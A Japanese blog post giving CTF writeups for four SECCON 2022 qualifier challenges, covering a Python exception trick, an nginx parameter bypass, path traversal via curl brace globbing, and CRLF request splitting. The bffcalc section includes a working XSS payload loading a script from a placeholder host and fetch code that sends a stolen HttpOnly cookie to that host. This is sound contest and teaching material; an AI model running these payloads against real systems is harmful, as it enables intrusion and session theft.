SECCON CTF 2022 Quals writeups

今年も相変わらず会社のチームでSECCON予選に出場。主にWeb問を中心に解いて最終的にfind flag、skipinx、easylfi、bffcalcの4問を解いた。

国内本戦には一応出られそうな見込み。上位チームはWriteupの提出が必要ということでここに記す。

misc

find flag

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except FileExistsError:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

コードをよーく見るとFileNotFoundError, IsADirectoryError, PermissionError, OSError, KeyboardInterrupt以外の例外を発生させればflagが得られることがわかる。ctrl+dEOFErrorを発生させればflagが得られる。

filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

と、さらっと解けた風に書いているが、実際には全然解き方が分からずやけくそでブルートフォースするスクリプトを走らせたり止めたりしていたらWiresharkになぜかflagが記録されていて解けたのであった。

web

skipinx

Node.js製のサーバーの前にリバプロとしてNginxが動いているという構成。

Nginxではクエリ文字列にproxy=nginxを付与してアプリにリクエストを送信する。

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }

バックエンドのアプリではクエリ文字列にproxy=nginxが含まれない場合にフラグを返す処理が書かれている。

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

色々考えたが割と多くの人が解けていたので適当にガチャガチャした結果、最終的に次のリクエストにより制限を突破できた。

http://skipinx.seccon.games:8080/?proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}

easylfi

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

超簡易なテンプレートエンジン的なものをもったWebアプリであることがわかる。テンプレートとなるローカルファイルを読み込む際にわざわざcurlを使っているあたりが実に怪しい。

flagを得るためにやることはシンプルで次の通り。

  • ..%という文字を使わずにパストラバーサルをして/flag.txtを読む
  • 出力にSECCONという文字列が含まれないようにする(flagの形式はSECCON{xxx}

まずはflag.txtを読み込めるようにする。

curlのmanpageを眺めると次の記述が見つかる*1

You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in: "http://site.{one,two,three}.com"

波括弧を使うと何かできそうな気がしたので色々試したところ次のリクエストで..を使わずにパストラバーサルをしてflag.txtを読み出すことができた。

GET /{hello.html,.\./.\./flag.txt} HTTP/1.1
Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 10
Connection: close

Try harder

ローカルでSECCON文字列のチェックを無効化した問題サーバーを動かして前述のリクエストを送信すると、SECCONという文字列が含まれているflag.txtを読み出すことに成功していることがわかる。

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 240
Connection: close

--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}

次にこのレスポンスからSECCONという文字列を消す方法を考える。

ここでテンプレートエンジンの仕様を確認すると次のことがわかる。

  • クエリ文字列のkeyをvalueに置換する
  • クエリ文字列のkeyは{で始まり}で終わることと、波括弧はそれ以外の場所に含まれないことを確認するバリデーションがある
    • ただしバリデーションに不備がありkeyが{の1文字だけでも受け入れてしまう

この不備を使うと次の手順によりSECCONという文字列を削除することができる。

↓最初の状態

Hello, {name}! ... SECCON{dummydummy}

{name}AAA{に置換

Hello, AAA{! ... SECCON{dummydummy}

{}{に置換

Hello, AAA}{! ... SECCON}{dummydummy}

{! ... SECCON}BBBに置換

Hello, AAA}BBB{dummydummy}

実際には次のリクエストでSECCONをレスポンスから消し去ることができる。

GET /{hello.html,.\./.\./flag.txt}?{name}=AAA{&{=}{&%7B%21%3C%2Fh1%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A%2D%2D%5Fcurl%5F%2D%2Dfile%3A%2F%2F%2Fapp%2Fpublic%2F%2E%2E%2F%2E%2E%2Fflag%2Etxt%0ASECCON%7D=BBB HTTP/1.1
Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 199
Connection: close

--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, AAA}BBB{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

bffcalc

問題は複数のサーバーで構成されており、リクエストは次のように処理される。

nginx -> bff -> backend

このほかにbotも動いており、botに問題サーバーへアクセスされることもできる。

nginxは問題サーバーとbotへのリクエストのルーティングをしているだけで特殊なことは何もしていない。

bffは/へのリクエストの場合、静的なページを返すがそれ以外のページへのアクセスの場合はbackendにリクエストを転送する。

backendはリクエストのクエリ文字列exprの長さが50文字未満、かつ、0123456789+-*/のみで構成されている場合はexprevalする。それ以外の場合はexprをそのまま返す。

flagはbotcookieに入っているが、HttpOnly属性が付与されており普通にXSSするだけでは取得することができない。

コードを眺めているとbffからbackendにHTTPリクエストを送信する処理が、HTTPリクエストを文字列として生成し、生のsocketを使って送信するという実装になっておりここになんらかの穴がありそうと感じた。

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

↑のpayloadをprintするように改造して色々リクエストを投げると次のことに気づいた。

下記のリクエストをbff(実際にはnginx)に対して送信すると

GET /AAA%0d%0aBBB?expr=CCC%0d%0aDDD HTTP/1.1
Host: localhost:3000

bffは次のリクエストを生成してbackendに送信する。

GET /AAA
BBB?expr=CCC%0d%0aDDD HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhost
X-Real-Ip: 172.19.0.1
X-Forwarded-For: 172.19.0.1
X-Forwarded-Proto: http

パスのURLエンコードされた文字列がデコードされ、改行がそのままリクエストに反映されてしまっている。これを利用することで変なリクエストを生成させて最終的にbotcookieを入手できそうな雰囲気がある。

解き方として次の方針を立てた。

  • Flagはcookieに含まれるためなんらかの方法でリクエストヘッダを入手する必要がある
  • exprの値はそのまま返される
  • なんらかの方法でHTTPヘッダをexprの値としてサーバーに認識させてflagを入手する

(他の人のwriteupを見ると実際にはヘッダーをエラーメッセージに出力させるスマートな方法があったようだが、そこに気づかなかったため面倒なこの方法で突き進んでいった。)

クエリ文字列のexprcookieを入れるのは無理だったが、色々試しているうちにbackendはクエリ文字列のexprだけではなくPOSTリクエストのbodyのexprも読み込んでくれることに気づいた。したがって次のリクエストをbackendに送信すると

GET /AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:100%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr= HTTP/1.1
Host: localhost:3000

bffには次のリクエストが送信される。

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:100
Content-Type:application/x-www-form-urlencoded

expr= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhost
X-Real-Ip: 172.19.0.1
X-Forwarded-For: 172.19.0.1
X-Forwarded-Proto: http

bffはPOSTのbodyのexprの値をそのまま返すので、HTTPリクエストヘッダを含む次のレスポンスが返される。(幸いにも改行などは無視してくれる模様。)

HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Wed, 16 Nov 2022 16:40:05 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 427
Connection: keep-alive
Via: waitress

42HTTP/1.1 200 OK
Content-Length: 95
Content-Type: text/html;charset=utf-8
Date: Wed, 16 Nov 2022 16:40:05 GMT
Server: CherryPy/18.8.0
Via: waitress

 HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhoHTTP/1.0 200 OK
Connection: close
Content-Length: 2
Content-Type: text/html;charset=utf-8
Date: Wed, 16 Nov 2022 16:40:05 GMT
Server: CherryPy/18.8.0
Via: waitress

42

botにこのようなリクエストを送信させレスポンスを入手すればflagが手に入りそうである。

exprに次を指定し、botにアクセスさせる。

<img src=x onerror="s=document.createElement('script');s.src='http://XXXX/a.js';document.body.appendChild(s)">

a.jsの中身

fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:431%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr=")
    .then((resp) => resp.text())
    .then((data) => {
        (new Image()).src = 'http://XXXX/?a=' + data;
    })

このリクエストによりbackendには次のリクエストが送信されbodyに入ったcookieがレスポンスとして返されるはずである。

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:431
Content-Type:application/x-www-form-urlencoded

expr= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: flag=SECCON{dummydummy}

が、実際に入手できたレスポンスは次だった。

42HTTP/1.1 200 OKContent-Length: 200Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 16:59:32 GMTServer: CherryPy/18.8.0Via: waitress HTTP/1.1Remote-Addr: 172.19.0.6Remote-Host: 172.19.0.6Connection: upgradeHost: nginxX-Real-Ip: 172.19.0.3X-Forwarded-For: 172.19.0.3X-Forwarded-Proto: httpUser-Agent: Mozilla/5.0 (X11

HTTPリクエストヘッダの途中まではいい感じに返ってきているが、User-AgentのMozilla/5.0 (X11以降が返されていない。これはbackendのcherrypyがbodyをパースする際にUser-Agentに含まれる;をデータの区切りとして認識してexprがそこで終わってしまったためである(むしろ改行が入っていても問題ないことにちょっと驚いたが)。

さて、fetch()では一部のヘッダー*2を除いてヘッダーの値を変更することが可能であり、User-Agentは変更できることになっている。したがってUser-Agentを別の値に変更すればよさそうと思ったが、試してみると変更ができない。調べてみるとなんとChromeのバグ*3botChromeを使っている)によりUser-Agentを変更できないことがわかった。

このことに気づいたとき、作問者のArk氏は問題の難易度を上げるためにChromeのバグも利用するのかと一人で感動して震えていた。(想定解は別の方法な気がするので、今となってはこれは意図していなかった気もするが。)

;が含まれるもう一つのヘッダであるAccept-Languageは変更可能なのでAccept-Language: &expr=と指定すればAccept-Language以降がレスポンスに含まれると考えたがAccept-Languageを変更するとヘッダの順番が次のように変わってしまい、またもやUser-Agentの;に阻まれることとなってしまった。(ここでもなんてよくできた問題なんだと感動していた。)

Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
Accept-Language: &expr=
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{dummydummy}

試行錯誤の末、最終的にRefererは同一オリジンであれば変更することができ、変更してもHTTPヘッダの順序は変わらないことが判明したため、次のJavaScriptbotに実行させることにより

fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:426%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aBBB=",
    {
        headers: { "Accept-Language": "CCC" },
        referrer: "http://nginx:3000/?&expr="
    })
    .then((resp) => resp.text())
    .then((data) => {
        (new Image()).src = 'http://XXXX/?a=' + data;
    })

backendには次のリクエストが送信され

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:426
Content-Type:application/x-www-form-urlencoded

BBB= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
Accept-Language: CCC
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/?&expr=
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{dummydummy}

最終的なレスポンスとしてflagを手に入れることができる。

42HTTP/1.1 200 OKContent-Length: 65Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:51:27 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{dummydummy}

実際の問題サーバーではPOSTのContent-Lengthを465に調整すると次の応答を得られ、flagが入手できた。

42HTTP/1.1 200 OKContent-Length: 105Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:56:41 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}